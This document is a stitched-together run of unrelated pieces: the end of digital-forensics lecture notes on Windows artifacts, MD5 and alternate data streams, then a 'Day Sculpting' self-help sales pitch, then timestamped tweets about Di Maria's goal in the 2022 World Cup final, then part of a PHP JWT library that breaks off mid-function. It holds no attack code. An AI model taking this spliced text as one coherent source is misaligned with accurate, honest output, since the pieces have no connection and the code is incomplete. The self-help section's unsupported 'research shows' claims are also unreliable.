Settings\\\\Application\nData\\Mozilla\\Firefox\\Profiles\\.\n• Mozilla and Netscape files are located in the following directory:\n\\Documents and Settings\\\\Application\nData\\Mozilla\\Profiles\\\\.\nEx Tools: IECacheView, IECookieAnalysis etc..\n3.6 MD5 Calculation\n• Message-Digest algorithm 5 (MD5) was designed by Ron Rivest in\n1991.\n• cryptographic hash function-128-bit hash value.\n• To check the integrity of files.\nMD5 Algorithm\n• MD5 processes a variable-length message into a fixed-length output\nof 128 bits.\n• The input message is broken up into chunks of 512-bit blocks\n(sixteen 32-bit little-endian integers);\n• The message is padded so that its length is divisible by 512.\n3.6 MD5 Calculation\nThe padding is done as follows:\n• First, a single bit, 1, is appended to the end of the message.\n• Many zeros as are required to bring the length of the message up to\n64 bits fewer than a multiple of 512.\n• The remaining bits are filled up with a 64-bit integer representing\nthe length of the original message, in bits.\nEx Tools: https://www.md5hashgenerator.com/\nChaos MD5\n3.7 Recycle Bin\n• Forensic investigators are aware of the old adage that when a file is\ndeleted, it is not really gone.\n• true with the advent of the Recycle Bin on the Windows desktop.\n• The Recycle Bin allows user to retrieve and restore files that have\nbeen deleted.\n• As a user on a system begins to delete files through the shell, a\nsubdirectory is created for that user within the Recycler directory;\n• That subdirectory is named with the user’s security identifier,\nC:\\RECYCLER\\S-1-5-21-1454471165-630328440-725345543-1003\n3.8 Prefetch Files\n• For boot prefetching, the Cache Manager monitors hard page faults\nand soft page faults.\n• Monitors through the first 2 minutes of the boot process.\n• Fault data is processed along with references to files and directories\nthat are accessed\n• During application prefetching, the Cache Manager monitors the\nfirst 10 seconds after a process is started\nHKEY\\_LOCAL\\_MACHINE\\SYSTEM\\ControlSet00x\\Control\\Session\nManager\\Memory Management\\PrefetchParameters\n3.9 Shortcut Files\n• Shortcuts are files with the extension .lnk that are created and are\naccessed by users\n• Users can create shortcuts to applications, documents, folders,\nremovable storage devices, and network shares.\n• AccessData’s Forensic Toolkit (FTK), Windows File Analyzer (WFA),\nand EnCase provide the ability to parse the contents of shortcut\nfiles to reveal information embedded within the files.\n3.10 Word Documents\n• Compound documents, based on Object Linking and Embedding\n(OLE) technology.\n• Word documents can contain quite a bit of additional information\nthat is not visible to the user.\n• Can maintain list of up to the last 10 authors to edit the file.\n• Information disclosure risk to individuals and organizations.\n• Investigator can use Perl scripts wmd.pl and oledmp.pl to list the\nOLE streams embedded in a Word document.\n3.11 PDF Documents\n• Can also contain metadata such as\n– The name of the author,\n– The date that the file was created\n– The application used to create the PDF file.\n• The metadata can show that the PDF file was created on a Mac or\nby converting a Word document to PDF format.\n• This metadata can pose a risk of information disclosure.\n• Can use the Perl scripts pdfmeta.pl and pdfdmp.pl to extract\nmetadata from PDF files\n3.12 Graphics Files\n• The metadata present in a JPEG image file depends largely on the\napplication that created or modified it.\n• Digital cameras embed exchangeable image file format (Exif)\ninformation in images\n• Can include the model and manufacturer of the camera, and can\neven store thumbnails or audio information\n• Tools such as Exifer, IrfanView, and the Image::MetaData::JPEG\nPerl module allow an investigator to view, retrieve, and in some\ncases modify the metadata\n3.13 File Signature Analysis\n• Investigator can analyze files with unusual extensions or files with\nfamiliar extensions that are in unusual locations.\n• Determine the nature of these files and to gain some insight into an\nattacker’s technical abilities.\n• Collecting information from the first 20 bytes of a file and looking\nfor a specific signature or “magic number”\n• ProDiscover allow an investigator to readily perform file signature\nanalysis\n3.14 NTFS\nAlternate Data Streams\n• Feature of the NTFS file system.\n• To support the Hierarchal File System (HFS) used by the Macintosh\nCreating ADSs\nnotepad myfile.txt:ads.txt\n– Add some text to the Notepad window, save the file, and then\nclose Notepad.\nEnumerating ADSs\n– Lads.exe is another tool that a user can use to list ADSs and can\nbe run against any directory.\nRemoving ADSs\n– simply delete the file to which the ADS is attached\n3.15 Metadata\n• Metadata is data about data, or more simply, embedded electronic\ndata not necessarily seen on a printed document.\n• various characteristics of data, including when and by whom it was\ncreated, accessed, or modified.\n• The following are some examples of metadata:\n– Organization name\n– Author name\n– Computer name\n– Network name\n– Hidden text or cells\n– Document versions\n– Template information\n3.15 Metadata\nTypes of Metadata\nType Description Sample Element\nDescriptive\nmetadata\nDescribes and identifies\ninformation resources\nUnique identifiers, physical\nattributes,\nbibliographic attributes\nStructural\nmetadata\nProvides information about the\ninternal structure of resources\nTags such as title page, table of\ncontents, chapters, parts, errata,\nindex\nAdministrative\nmetadata\nIncludes technical data on\ncreation and quality control\nResolution, bit depth, color space,\nfile format, compression, light\nsource, owner, copyright date,\ncopying and distribution limitations\n3.15 Metadata\nMetadata in Different File Systems\n• Metadata about files on Windows systems are the file MAC times\n• MAC-Modified, Accessed, and Created\n• FAT file system, times are stored based on the local time of the\ncomputer system\n• NTFS file system stores MAC times in Coordinated Universal Time\n(UTC) format, which is analogous to Greenwich Mean Time (GMT).\n3.15 Metadata\nViewing Metadata\n• Investigator can view some metadata by using the application that\ncreated the file\n• For instance, the investigator can look at the file properties\nThe tools investigators can use:\n• Metaviewer\n• Metadata Analyzer\n• iScrub\nEnd of Chapter-3' -'Here is the final part. Part 3\n---\n\nHere we will be showing how the principles and practices we’ve covered so far converge into one over-arching result that will benefit you for the rest of your life. You can think of it as flipping a switch that changes how you create new results in life one day at a time. This is at the very core of what we call Day Sculpting. \nThe simplest way to think of it is that most of the way we live is habitual. You have an habitual way of brushing your teeth, walking, talking to yourself and others, eating, working. Habits are wonderful…they make life easy but they also limit you. For example, if you have a habit of eating too much, you’ll put on weight. Not instantly, but steadily, day by day, until one day you have a weight problem. If you try to change your weight quickly through a trendy new diet, research shows that the weight is likely to come back, and then some, within a few short months, because the habits required to live at your ideal weight have not been properly established. \nHabits are habits because you don’t think about them, they happen nonconsciously. If you want a change in your life, you have to embody the change at a nonconscious level, so that the habits keeping your life the way it is today begin to shift.\nWouldn’t it be great if there was a switch in the brain that would move you from status quo to status GO!? This is a switch that once you flip it will produce the result you want, if you are willing to commit to and stay with the process.Day Sculpting is your guide to fully realizing the success you are ready to enjoy.\nA critically important capacity of the human mind called preconscious processing. This is the ability of the mind to receive information, beneath our conscious awareness, and act upon it without even knowing that it is happening. Used correctly, this is an amazing power. Used improperly, it will sabotage your best efforts and make life extremely difficult.\nMost of us think we are running the show with our conscious awareness, consciously choosing our thoughts, behaviors, and emotions and consequently, we believe are able to choose the results we create in life. However, what neuro-science research shows, is that we all have a vast nonconscious mind that is really running the show most of the time. That deeper part of us, in charge of our habitual thinking, feeling, and behaving is always operating in our best interest. But it does so using information that may be faulty or outdated. If you continue to feed it information that doesn’t serve you, it will continue to habitually bring results that are less than desired.\nYour preconscious processor is constantly routing new information directly into this larger database that your mind uses to create new behaviors. Your job is to place the right information into this database every single day, so that it can draw upon this new data and create new results. It requires your vigilance and purposeful intention on a daily basis. Day Sculpting is the process to accomplish exactly that, getting you to focus one day at a time on what you are trying to create in your life today, and the future you truly desire. \nA lot of experts in the human development field teach information and then expect it will translate into new behaviors automatically. But as we’ve pointed out, and as you’ve probably experienced, consciously knowing something and having the nonconscious mind put it into a new behavior, are two entirely different processes. What we are sharing with you is how to bridge that gap. This is precisely why so many experts in the field are recommending Day Sculpting to their clients, to help them use momentum mindsets on a daily basis and apply the good information they teach. \nWe talk about The The Solutions Focus process . Try it out: \nThink of an area of your life in which you are actively attempting to create different results. Imagine your chief aim regarding this area of your life as a perfect future. Now imagine a scale from one to ten, where ten is the perfect future and one is that you have not even started thinking about your chief aim. On this imaginary scale from 1 to 10, where would you place yourself right now?\nGo ahead and imagine where would you place yourself right now on that scale, where ten is your perfect future.\nWhatever number you came up with is fine. Whether it was 3 or 7, whatever you came up with I’ll always ask the same next question. “Why so high and not lower?”\nLet’s say, for example that you came up with a three. Asking the question “Why so High” catches the mind off guard. Most people expect, “Only a 3! Why so low?” If I had asked that what would you come up with? All the reasons why things aren’t working, who is to blame, problems, excuses, lack, limitations, and so on. \nBut when I ask “Why so high?” the brain immediately begins to sort for all of the things that are working for you, everything that has brought you up to a “three.” If you said you are at a seven on a scale of one to ten, the same question applies: “Why so high and not lower?”\nThe next step in solutions focus is equally powerful. “Think about what you can do today to move you one point up that scale—for example, from a three to a four, or from a seven to an eight?” When you ask this, your mind instantaneously starts generating ideas and options to answer your question. You quickly realize you can do more of the things that work, right? And if you are doing things that aren’t working, you now have the insight into how you can do things differently. \nThis solutions focus approach provides quick insight into how to move things forward in areas you may have been stuck or working on unsuccessfully. It is a brilliant way to access more of your nonconscious database and facilitate discovering resources you did not know were there. \nSo as you can see, this video has been centered on connecting the dots and providing you with the insights on how you can flip the switch in your brain and how you can create your life one day at a time in the most powerful way possible. \nYou must contact that inner part of you that is in charge of your habitual ways of thinking, feeling, and behaving in order to re-sculpt yourself.\nThis is a unique psychological principle called anchoring. In the research this is also called behavioral conditioning, and as we’ve called it, the law of reinforcement…which says you get more of what you reinforce. When you want to reinforce a positive new behavior, you anchor it in a positive new momentum mindset. As you do this on a daily basis, you are literally training your mind, conditioning your thoughts, amplifying positive feelings and emotions to live into a future state that you are anchoring in your daily experience. \nDay Sculpting goes beyond personal development. It takes whatever it is you are currently learning and makes it possible for you to embody, apply and enjoy the benefits you are committed to achieve. \n\nThe last thing anyone needs is more stuff to do. What we need is that everything we do gets us the results we are going for. In essence what’s needed is a system that will streamline our efforts so we accomplish our chief aims in less time.\n\nMichaelangelo said the process of sculpting is to remove what’s not supposed to be there. He had the mindset that the finished sculpture already existed in the marble and he just had to reveal it. In the same way your destiny already resides in you. You just need to clear a path for it to emerge.\n\nWe all have 24 hours in a day. So why do some people consistently have great days while others are up and down and stay stuck in mediocrity? It’s a disciplined habit of how you approach everyday. Day Sculpting takes the same 24 hours that we all have and helps clarify your choices so that your actions reveal your highest destiny. \n\nIt is a quick, easy and effortless way that supports and empowers your efforts in achieving your chief aims. It creates the mindsets necessary to have successful days, weeks, months and years.\n\nDay Sculpting is a 90- day program designed to empower you to create your life ONE DAY AT A TIME. By committing 30 minutes each day to create what you want that day. \n\nWe believe that when you focus your actions one day at a time the results you get become measurable and achievable. Your energy is committed to channeling your efforts so you create a confident groove in your mind that empowers your habitual actions to create what you really want.\n\nThis daily program is broken down into 3 MANAGEABLE, SIMPLE AND EASY STEPS. 15 minutes in the morning, 5 minutes midday and 10 minutes at night. \n\nDay Sculpting…It’s designed so that the way you start your day creates the momentum that carries you throughout your day. \n\nAnd finally research has shown that the best time to integrate what you’ve learned in your day and to set yourself up for success tomorrow is before you go to sleep. The Nighttime Review process takes just 10 minutes, which is less time then it takes to take a shower or to take your dog on an evening walk.\n\nWe already have enough complexity in life…don’t we? We don’t want you working harder we want you thinking smarter! So that the success you achieve is more effortless. \n\nSo what does it take for someone to accomplish the high level results we are talking about?\n\n• First you have to wake up and be totally jazzed about the day\n• You have to be inspired to do your best\n• You have to be focused on creating what you truly desire\n• You got to get to it, stay on it, and be in the energy of it before your distractions take over. \n• And if distractions takeover you have to quickly get back on track.\n• You have to learn from what’s working and what’s not\n• You have to be able to listen to feedback and course correct during your day\n• And at the end of the day you have be able to feel you did your best and you can do even better tomorrow\n\nAnd with Day Sculpting you can accomplish this and more in less than 30 minutes which is distributed throughout your day. Most people will give up on their dreams after they have tried something only 3 times because they didn’t get instant gratification. \n\nThere are no magic bullets here. You are investing in a future YOU desire. \n\nDay Sculpting gives you the opportunity everyday to purposefully stay in the energy of what you want to create the benefit to you being a more empowered mindset that inspires passionate action and a willingness to breakthrough any barriers that may have held you back in the past so you fully embody the life you choose to live.\n\nYou may have heard Gandhi say “Be the change you want to see in the world.” Well now you can. \n\nYears ago I heard a statistic that blew me away. If you read in a single subject of your choice for 15 minutes a day 5 days a week you would become one of the leading experts in the world in that subject within 3 years…\n\nMore recent research has demonstrated that world class talent requires 10000 hours and 10 years to develop…\n\nSo the question is how does somebody create this kind of commitment and persistence? Clearly one day at a time.\n\nSo where are you not following through in your life? How would you like to do things differently? What can you do shift your energy when you say I can’t get it done or you procrastinate? What’s it going to take for you to say I’ve had enough it’s time for me to do something different? Where will you get the support you need to build the confidence to stay on track?\n\nEach day you get these elements to help guide you… \n- The Good Morning Great Day Email\n- The Morning In Vision Video \n- The Morning Future Pacing Visualization\n- The Morning Success Journal Process\n- The Midday SMS and Computer Stay on Track Reminders\n- The Midday Reconnect Refresher Mediation\n- The Evening Review And Renew Process\n- The Evening Journal Process\n- The Bedtime Nonconcious Mind Question Declaration\n \nWhen you put this together it can’t help but become a daily practice that will create your new daily ritual that is your roadmap to success. We are giving you the daily steps that will create your momentum mindsets.\n\nThe Day Sculpting program leaves you no wiggle room. The days of “I’ll get to it later” are gone. When you are serious about changing your life, you now have a realistic opportunity to do so with this program. \n\nWE invite you to fully commit to your life. To once and for all follow through and step up. To say yes to that dream inside of you and to look at each day as an opportunity to live your dreams enthusiastically rather than settling for more of the same old same old.\n---' -"sourceText Time\nDi Maria scores the second goal for Argentina. 15:36:48.0000000\nArgentinaaaaaaaaaaa ???? What A GOAL!!!!!! Angel Di Maria you beautyyyyyy #FIFAWorldCup #ArgentinaVsFrance 15:36:41.0000000\n35' GOAL ?''Di Maria gets Argentina's second and France are torn apart on the counterattack!''#ARG 2-0 #FRA ''#FIFAWorldCup | #Qatar2022 https://t.co/xQHVZ64vXA 15:36:57.0000000\n2-0 for Argentina what a Goal!! Di Maria 15:36:52.0000000\nSecond goal by Di Maria. Herhhh. Defending champions paaaaaaaaaa and they're suffering like this? ??'#ArgentinaVsFrance 15:36:36.0000000\nDi Maria! What a goal from Argentina ????????''Game over. 15:36:13.0000000\nDi Maria ayyyyyyy mannnnnnnnn what a goal #ArgentinaVsFrance #arg 15:36:41.0000000\nDi Maria Goal! But it's FIFA that scored as some will say ??????'#Messi #ArgentinaVsFrance #FIFAWorldCup 15:36:49.0000000\nFantastic goal by Argentina, Di Maria very cool finish! #FIFAWorldCupFinal #ArgentinaVsFrance 15:36:59.0000000\nDi Maria deserves a goal.'Brilliant! #ArgentinaVsFrance 15:36:44.0000000\nGr8 goal #messi & Di Maria off injury is the difference! https://t.co/ScHjETYn4K 15:34:47.0000000\nDi maria, what a goal from argentina there. Taking the baguettes apart crumb by crumb. 15:36:14.0000000\nBrilliant goal, Di Maria is that guy for Argentina 15:36:25.0000000\nBeautiful goal Di Maria #ArgentinaVsFrance #WorldCup 15:36:38.0000000\nWhat a counter attacking goal. ''Di Maria...#ArgentinaVsFrance 15:36:44.0000000\n#ARGFRA DI MARIAAAAAAAAAAAAAAAAAAAAAAA WHAT A FUCKING GOAL THAT WAS 15:36:18.0000000\nThat flick by Messi for the Di Maria goal, a thing of beauty #ArgentinaVsFrance #WorldCupFinal #Qatar2022 15:36:25.0000000\nARGENTINA GOAL: Argentina catch France on the counter and Di Maria doubles the former’s advantage.''#ARG 2-0 #FRA #ARGFRA #WorldCupFinal 15:36:37.0000000\nThat Di Maria goal is pretty special. #ArgentinaVsFrance #WorldCup 15:36:48.0000000\nDi Mariaaaaaaaa!!!!!!!!!! What a goal ! #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nThat is just brilliant from Argentina 2-0 #ArgentinaVsFrance #Qatar2022 terrific team goal. Starting Di Maria a genius move 15:36:57.0000000\nGoal for Di Maria. 2-0 #ArgentinaVsFrance #FIFAWorldCup 15:36:36.0000000\nWhat is going on with France ????, they play so bad. Good goal of Di Maria 15:36:21.0000000\nWhat a Goal De Maria ?????????'2-0 ??'#Arg'#WorldCupFinal 15:36:34.0000000\nDi Maria who won the penalty scores second goal on the break for Argentina 15:36:43.0000000\nWell that DI MARIA goal is much more worthy. VAMOS ARGENTINA 15:36:43.0000000\n36’ GOAL! DI MARIA ON THE COUNTER ATTACK! #FIFAWorldCup''Argentina 2-0 France 15:36:00.0000000\nArgentina scores from a counter, what a goal ! ''Di Maria scores''2 - 0 15:36:55.0000000\nDI MARIA WHAT A GOAL ( I still fucking hate Argentina 15:36:23.0000000\nIdk looks like Argentina is just better so far. It’s not even just Messi! What a goal from De Maria!! Amazing teamwork that started from the back and led to a goal 15:36:51.0000000\nWhat a counter and goal. Di Maria make it 2-0 wow! #WorldCupFinal 15:36:32.0000000\nWhat a goal on the counter that is! Argentina have been so good here! Brilliant from Mac Allister and what a finish from Di Maria! ?? #ARGFRA #FIFAWorldCup 15:36:56.0000000\nThis Di Maria goal was like a wonderfully written poem .''#ARGFRA 15:36:33.0000000\nDi maria scored. Argentina leading by 2 goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nGoal Argentina''What a build up'Di Maria gets Argentina's second'Arg 2-0 FRA'#FIFAWorldCup 15:36:57.0000000\nWhat a goal, Argentina is all over em. 2-1. Di Maria’s involvement this game has been magical. 15:35:58.0000000\nArgentina 2-0. Di Maria. A magnificent goal on the break. 15:35:45.0000000\nDI MARIA! GOAL! FRANCE IS COOKED! 15:36:02.0000000\nBrilliant Argentina goal that 2-0 Di Maria''One touch. Macalister running the game 15:36:30.0000000\nANGEL DI MARIA!!!!!!!! WHAT ABTEAM GOAL THAT WAS, 2-0 ARGENTINA!!!!!! 15:36:18.0000000\nArgentina properly blowing France away, Angel di Maria has been the best player on the pitch by miles and he’s deservedly got a goal to show for it. 2-0 Argentina 15:36:59.0000000\nArgentina looking like they want it more. Great goal Di Maria 15:36:11.0000000\nArgentina scores their first goal in 2022 world cup final. Di Maria?? 15:36:28.0000000\n2-0 ARGENTINA!!!!! DI MARIA!!!!! WONDERFUL TEAM GOAL!!!! 15:36:02.0000000\nGoal for Argentina ??'Argentina 2:0 France ????'??36’ Di Maria ''#EIBQATAR2022 https://t.co/kNI4ODuxg6 15:36:39.0000000\nWhat a lovely goal from Argentina and, they are going to steamroller France at this rate. ''Di Maria has had a tremendous first half and should get the Man of the Match award. 15:36:53.0000000\nDi Maria bags his another goal for Argentina. France are being ripped apart here 15:36:12.0000000\nDi Maria scores the 2nd goal for Argentina.???? France have not turned up in this first half at all.???? #Qatar2022 #ARGFRA 15:36:50.0000000\nMagnificent goal Argentina. Sweeping and brilliant counter attack finished by Di Maria. Assist for Brighton's Mac Allister 15:36:50.0000000\n35' GOAL! #ARG 2-0 #FRA ''Angel Di Maria finishes off a glorious counter-attack to double Argentina's lead! #FIFAWorldCup 15:36:51.0000000\nThat was a just goal! Di Maria is really good right now #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nWow what a goal. 2-0, Di Maria and game over imo cos France are shite so far. Need a response before half time otherwise its gone. #ArgentinaVsFrance #FIFAWorldCupFinal 15:36:36.0000000\nGOAL! ARGENTINA 2-0 France''IT'S DI MARIA WITH A SENSATIONAL GOAL! ''https://t.co/wtEfL70MU4 #FIFAWorldCup https://t.co/x8w76dNag2 15:36:27.0000000\n@remnantvault That goal Di Mar?a just scored proves otherwise. We don't need charity. France has been busy trying to prevent us from scoring rather than trying to score themselves too. 15:36:52.0000000\nLionel Messi assist! Di Maria’s goal! Football heritage! 15:36:53.0000000\nDI MARIA ???????????????? what an amazing build up for that goal 2-0 Argentina 15:36:07.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nDI MARIAAAAAAAA'WHAT A TEAM GOAL'WHAT ARE WE WITNESSING HERE!!!!!'#ArgentinaVsFrance 15:36:16.0000000\n??ARGENTINA DOUBLE THEIR LEAD??''GOAL: Di Maria 35‘ ??????'2-0 15:35:51.0000000\nArgentina 2 : France 0'#worldcup '#WorldCup2022 'Goal by Di Maria 15:36:48.0000000\nGOAL 2-0 Argentina! a counter-attack at speed and Di Maria finishes things off. #ARG #FRA #FIFAWorldCup 15:35:51.0000000\nDi Maria with the second goal'Argentina 2 - 0 France #FRAARG #FIFAWorldCupFinal 15:36:24.0000000\n2-0 Argentina.''ANGEL DI MARIA DOUBLES THE LEAD!!! ANOTHER GOAL IN A FINAL FOR HIM!!! https://t.co/m2YWSEnYMS 15:36:19.0000000\nNice goal by Di Maria #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nOmg that 2nd goal, one touch clean passes on the attach was a beauty. Messi with the assist and Di Maria for goal. 2-0 #ARG game on now #FIFAWorldCup #ArgentinaVsFrance 15:36:52.0000000\nAnother goal for Argentina... De Maria ????''#ArgentinaVsFrance #WorldCup #FIFAWorldCup #Messi?? #Mbappe 15:36:57.0000000\nGOOOOOOOAAAL!!! ''Di Maria doubles the lead for Argentina. What a beautiful team goal. ''Argentina ???? 2???0?? France ???? ''#FifaWorldCup 15:36:50.0000000\n?ngel Di Maria is an absolute pleasure to watch. One of the most underrated players of all time. What a goal from Argentina! Is is finally Messi’s time? 15:36:19.0000000\nDi Maria makes it 2 - 0 Argentina vs France that maybe his last ever world cup goal wow! #WorldCup2022 15:36:27.0000000\nGOAL: World Cup final - Argentina 2-0 France, Di Maria (35 mins) #Qatar2022 15:36:18.0000000\nAbsolutely Superb goal from Argentina great finish from Di Maria ???? 15:36:52.0000000\nDI MARIA!!! WHAT A GOAL!!!! L'ARGENTINA!!!! 15:36:44.0000000\nDi Maria deserves this goal. Excellent work today. #ArgentinaVsFrance #WorldCup #FIFAWorldCup 15:36:42.0000000\nDI MAARRIAAAAAA what a stunning goal for #arg #FIFAWorldCupFinal 15:36:39.0000000\nDi Maria!!! What a nice goal!!!!! #Argentina up 2-NIL!!!! #WorldCup2022 15:36:39.0000000\nDi Maria! What a glorious goal! ???? has got this final! #ArgentinaVsFrance 15:36:28.0000000\nThat goal by Di Maria was aces! #WorldCupFinal 15:36:17.0000000\nArgentina 2-0 Now???? because of a goal by Di Maria ''#WorldCupFinal #ArgentinaVsFrance 15:36:55.0000000\nTerrific break by Argentina no problem with that Goal Messi Mcallister Di Maria 2-0 15:36:53.0000000\nWhat an assist what a goal Di Maria ???????? #ArgentinaVsFrance 15:36:33.0000000\n2-0 & Di Maria chipped his goal'#WorldCup '#ArgentinaVsFrance 15:36:55.0000000\nGOAL Argentina 2-0 France Di Maria, wonderful team goal #ARGFRA #FIFAWorldCup 15:36:06.0000000\nDI MARIA...WHAT A GOAL! What a pass by Mac Allister and what a flick by MESSI! INSANE! VAMOS ARGENTINA! 15:36:44.0000000\nBeautiful football... Argentina mesmerizing France what a goal from Di Maria... What a touch 15:36:52.0000000\n?? #WorldCup | #Qatar2022''? 36' | GOAL!!! Angel Di Maria doubles Argentina's lead!''#ARG 2-0 #FRA ''#Selecci?nMayor #FiersdetreBleus #ARGFRA https://t.co/M64jzboGG8 15:36:06.0000000\nDi Maria what a goal that was. Argentina have blown France away here. 15:36:21.0000000\nGOAL!''Angel di Maria makes it 2 - 0 for Argentina.''#FIFAWorldCup 15:36:34.0000000\nDi Maria ''2-0 ''Beautiful goal from Argentina! 15:35:59.0000000\nThat wasn't a penalty.'But this Di Maria goal shows how good has Argentina been playing all match. 15:36:43.0000000\nBit annoying when you had Di Maria first goal scorer, France being found out at last 15:36:37.0000000\nGoal Di Maria!!!! Argentina up 2-0 and France is looking sluggish on offense 15:36:55.0000000\nThat is a beautiful goal!!''Di Maria with the finish and they’ve been all over France 15:36:32.0000000\nDI MARIA Scores the second goal for Argentina 15:36:54.0000000\nDI MARIA!!!!!!!!! ARGENTINA SCORE A SECOND!!!!!!!! WAS THAT GOAL RIGGED TOO OR WILL YALL STOP CRYING?? #FIFAWorldCup #ARG #FRA 15:36:23.0000000\nGOAL BY DI MARIA ?? #ARG\xa0\xa0 ''????Argentina 2-0 France????''#FIFAWorldCup\xa0\xa0| #ARGFRA 15:36:10.0000000\nDe Maria, Ze Maria.. astonishing goal.. #ArgentinaVsFrance #FIFAWorldCup 15:36:19.0000000\nAngel Di Maria makes it 2 -0 to Argentina #FIFAWorldCup ! Goal of the tournament 15:36:22.0000000\nWhat an amazing team-goal. Di Maria can still do it on the big stage. #ARGFRA 15:36:56.0000000\nArgentina is putting on a clinic right now. That was a gorgeous goal by Angel di Maria. 15:36:55.0000000\nWOW. WHAT A GOAL! Finished by Di Maria, Argentina well on top… anyone seen France & Mbappe??? 15:36:37.0000000" -'i am using following one\n\n \\* @author Anant Narayanan \n \\* @license http://opensource.org/licenses/BSD-3-Clause 3-clause BSD\n \\* @link https://github.com/firebase/php-jwt\n \\*/\nclass JWT\n{\n\n /\\*\\*\n \\* When checking nbf, iat or expiration times,\n \\* we want to provide some extra leeway time to\n \\* account for clock skew.\n \\*/\n public static $leeway = 0;\n\n /\\*\\*\n \\* Allow the current timestamp to be specified.\n \\* Useful for fixing a value within unit testing.\n \\*\n \\* Will default to PHP time() value if null.\n \\*/\n public static $timestamp = null;\n\n public static $supported\\_algs = array(\n \'HS256\' => array(\'hash\\_hmac\', \'SHA256\'),\n \'HS512\' => array(\'hash\\_hmac\', \'SHA512\'),\n \'HS384\' => array(\'hash\\_hmac\', \'SHA384\'),\n \'RS256\' => array(\'openssl\', \'SHA256\'),\n \'RS384\' => array(\'openssl\', \'SHA384\'),\n \'RS512\' => array(\'openssl\', \'SHA512\'),\n );\n\n /\\*\\*\n \\* Decodes a JWT string into a PHP object.\n \\*\n \\* @param string $jwt The JWT\n \\* @param string|array $key The key, or map of keys.\n \\* If the algorithm used is asymmetric, this is the public key\n \\* @param array $allowed\\_algs List of supported verification algorithms\n \\* Supported algorithms are \'HS256\', \'HS384\', \'HS512\' and \'RS256\'\n \\*\n \\* @return object The JWT\'s payload as a PHP object\n \\*\n \\* @throws UnexpectedValueException Provided JWT was invalid\n \\* @throws SignatureInvalidException Provided JWT was invalid because the signature verification failed\n \\* @throws BeforeValidException Provided JWT is trying to be used before it\'s eligible as defined by \'nbf\'\n \\* @throws BeforeValidException Provided JWT is trying to be used before it\'s been created as defined by \'iat\'\n \\* @throws ExpiredException Provided JWT has since expired, as defined by the \'exp\' claim\n \\*\n \\* @uses jsonDecode\n \\* @uses urlsafeB64Decode\n \\*/\n public static function decode($jwt, $key, array $allowed\\_algs = array())\n {\n $timestamp = is\\_null(static::$timestamp) ? time() : static::$timestamp;\n\n if (empty($key)) {\n throw new \\InvalidArgumentException(\'Key may not be empty\');\n }\n $tks = explode(\'.\', $jwt);\n if (count($tks) != 3) {\n throw new \\UnexpectedValueException(\'Wrong number of segments\');\n }\n list($headb64, $bodyb64, $cryptob64) = $tks;\n if (null === ($header = static::jsonDecode(static::urlsafeB64Decode($headb64)))) {\n throw new \\UnexpectedValueException(\'Invalid header encoding\');\n }\n if (null === $payload = static::jsonDecode(static::urlsafeB64Decode($bodyb64))) {\n throw new \\UnexpectedValueException(\'Invalid claims encoding\');\n }\n if (false === ($sig = static::urlsafeB64Decode($cryptob64))) {\n throw new \\UnexpectedValueException(\'Invalid signature encoding\');\n }\n if (empty($header->alg)) {\n throw new \\UnexpectedValueException(\'Empty algorithm\');\n }\n if (empty(static::$supported\\_algs[$header->alg])) {\n throw new \\UnexpectedValueException(\'Algorithm not supported\');\n }\n if (!in\\_array($header->alg, $allowed\\_algs)) {\n throw new \\UnexpectedValueException(\'Algorithm not allowed\');\n }\n if (is\\_array($key) || $key instanceof \\ArrayAccess) {\n if (isset($header->kid)) {\n if (!isset($key[$header->kid])) {\n throw new \\UnexpectedValueException(\'"kid" invalid, unable to lookup correct key\');\n }\n $key = $key[$header->kid];\n } else {\n throw new \\UnexpectedValueException(\'"kid" empty, unable to lookup correct key\');\n }\n }\n\n // Check the signature\n if (!static::verify("$headb64.$bodyb64", $sig, $key, $header->alg)) {\n require\\_once(\'SignatureInvalidException.php\');\n throw new SignatureInvalidException(\'Signature verification failed\');\n }\n\n // Check if the nbf if it is defined. This is the time that the\n // token can actually be used. If it\'s not yet that time, abort.\n if (isset($payload->nbf) && $payload->nbf > ($timestamp + static::$leeway)) {\n require\\_once(\'BeforeValidException.php\');\n throw new BeforeValidException(\n \'Cannot handle token prior to \' . date(\\DateTime::ISO8601, $payload->nbf)\n );\n }\n\n // Check that this token has been created before \'now\'. This prevents\n // using tokens that have been created for later use (and haven\'t\n // correctly used the nbf claim).\n if (isset($payload->iat) && $payload->iat > ($timestamp + static::$leeway)) {\n throw new BeforeValidException(\n \'Cannot handle token prior to \' . date(\\DateTime::ISO8601, $payload->iat)\n );\n }\n\n // Check if this token has expired.\n if (isset($payload->exp) && ($timestamp - static::$leeway) >= $payload->exp) {\n require\\_once(\'ExpiredException.php\');\n throw new ExpiredException(\'Expired token\');\n }\n\n return $payload;\n }\n\n /\\*\\*\n \\* Converts and signs a PHP object or array into a JWT string.\n \\*\n \\* @param object|array $payload PHP object or array\n \\* @param string $key The secret key.\n \\* If the algorithm used is asymmetric, this is the private key\n \\* @param string $alg The signing algorithm.\n \\* Supported algorithms are \'HS256\', \'HS384\', \'HS512\' and \'RS256\'\n \\* @param mixed $keyId\n \\* @param array $head An array with header elements to attach\n \\*\n \\* @return string A signed JWT\n \\*\n \\* @uses jsonEncode\n \\* @uses urlsafeB64Encode\n \\*/\n public static function encode($payload, $key, $alg = \'HS256\', $keyId = null, $head = null)\n {\n $header = array(\'typ\' => \'JWT\', \'alg\' => $alg);\n if ($keyId !== null) {\n $header[\'kid\'] = $keyId;\n }\n if ( isset($head) && is\\_array($head) ) {\n $header = array\\_merge($head, $header);\n }\n $segments = array();\n $segments[] = static::urlsafeB64Encode(static::jsonEncode($header));\n $segments[] = static::urlsafeB64Encode(static::jsonEncode($payload));\n $signing\\_input = implode(\'.\', $segments);\n\n $signature = static::sign($signing\\_input, $key, $alg);\n $segments[] = static::urlsafeB64Encode($signature);\n\n return implode(\'.\', $segments);\n }\n\n /\\*\\*\n \\* Sign a string with a given key and algorithm.\n \\*\n \\* @param string $msg The message to sign\n \\* @param string|resource $key The secret key\n \\* @param string $alg The signing algorithm.\n \\* Supported algorithms are \'HS256\', \'HS384\', \'HS512\' and \'RS256\'\n \\*\n \\* @return string An encrypted message\n \\*\n \\* @throws DomainException Unsupported algorithm was specified\n \\*/\n public static function sign($msg, $key, $alg = \'HS256\')\n {\n if 